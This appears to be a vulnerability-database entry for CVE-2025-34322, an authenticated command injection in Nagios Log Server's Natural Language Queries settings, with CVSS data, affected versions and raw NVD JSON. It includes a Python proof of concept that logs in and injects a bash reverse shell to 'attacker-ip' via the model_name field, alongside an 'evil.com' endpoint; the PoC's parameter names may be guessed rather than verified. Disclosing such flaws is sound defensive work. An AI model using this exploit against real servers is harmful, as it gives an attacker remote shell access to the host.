Security Vulnerability Report
中文
CVE-2025-34322 CVSS 7.2 HIGH

CVE-2025-34322

Published: 2025-11-17 18:15:57
Last Modified: 2025-11-26 15:15:52

Description

Nagios Log Server versions prior to 2026R1.0.1 contain an authenticated command injection vulnerability in the experimental 'Natural Language Queries' feature. When this feature is configured, certain user-controlled settings—including model selection and connection parameters—are read from the global configuration and concatenated into a shell command that is executed via shell_exec() without proper input handling or command-line argument sanitation. An authenticated user with access to the 'Global Settings' page can supply crafted values in these fields to inject additional shell commands, resulting in arbitrary command execution as the 'www-data' user and compromise of the Log Server host.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nagios:log_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:log_server:2026:r1:*:*:*:*:*:* - VULNERABLE
Nagios Log Server < 2026R1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-34322 PoC - Nagios Log Server Authenticated Command Injection # Target: Nagios Log Server < 2026R1.0.1 TARGET_URL = "http://target-server:8080" USERNAME = "admin" PASSWORD = "password" def login(): """Authenticate to Nagios Log Server""" session = requests.Session() login_url = f"{TARGET_URL}/account/login" data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=data, verify=False, timeout=30) return session if response.status_code == 200 else None def exploit_command_injection(session): """Inject command via Natural Language Queries settings""" settings_url = f"{TARGET_URL}/settings/global" # Payload: Inject command via model_name parameter # Using reverse shell payload (replace with your listener) payload = ";bash -i >& /dev/tcp/attacker-ip/4444 0>&1;" malicious_data = { "section": "nlq", "model_name": payload, "api_endpoint": "http://evil.com/api", "connection_timeout": "30" } response = session.post(settings_url, data=malicious_data, verify=False, timeout=30) if response.status_code == 200: print("[+] Command injection successful!") print("[+] Check your listener for reverse shell") else: print("[-] Exploitation failed") if __name__ == "__main__": print("[*] CVE-2025-34322 - Nagios Log Server Command Injection") session = login() if session: print("[+] Login successful") exploit_command_injection(session) else: print("[-] Login failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34322", "sourceIdentifier": "[email protected]", "published": "2025-11-17T18:15:56.710", "lastModified": "2025-11-26T15:15:51.983", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios Log Server versions prior to 2026R1.0.1 contain an authenticated command injection vulnerability in the experimental 'Natural Language Queries' feature. When this feature is configured, certain user-controlled settings—including model selection and connection parameters—are read from the global configuration and concatenated into a shell command that is executed via shell_exec() without proper input handling or command-line argument sanitation. An authenticated user with access to the 'Global Settings' page can supply crafted values in these fields to inject additional shell commands, resulting in arbitrary command execution as the 'www-data' user and compromise of the Log Server host."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026", "matchCriteriaId": "193F80CC-75B5-4F6B-8C44-ABB8ADC43C31"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2026:r1:*:*:*:*:*:*", "matchCriteriaId": "B2FC4948-E93B-4F6F-83D5-17A39A5DDAAA"}]}]}], "references": [{"url": "https://theyhack.me/Rooting-Nagios-Log-Server/", "source": "[email protected]"}, {"url": "https://www.nagios.com/changelog/nagios-log-server/nagios-log-server-2026r1-0-1/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.nagios.com/products/security/#log-server", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/nagios-log-server-authenticated-command-injection-via-natural-language-queries", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}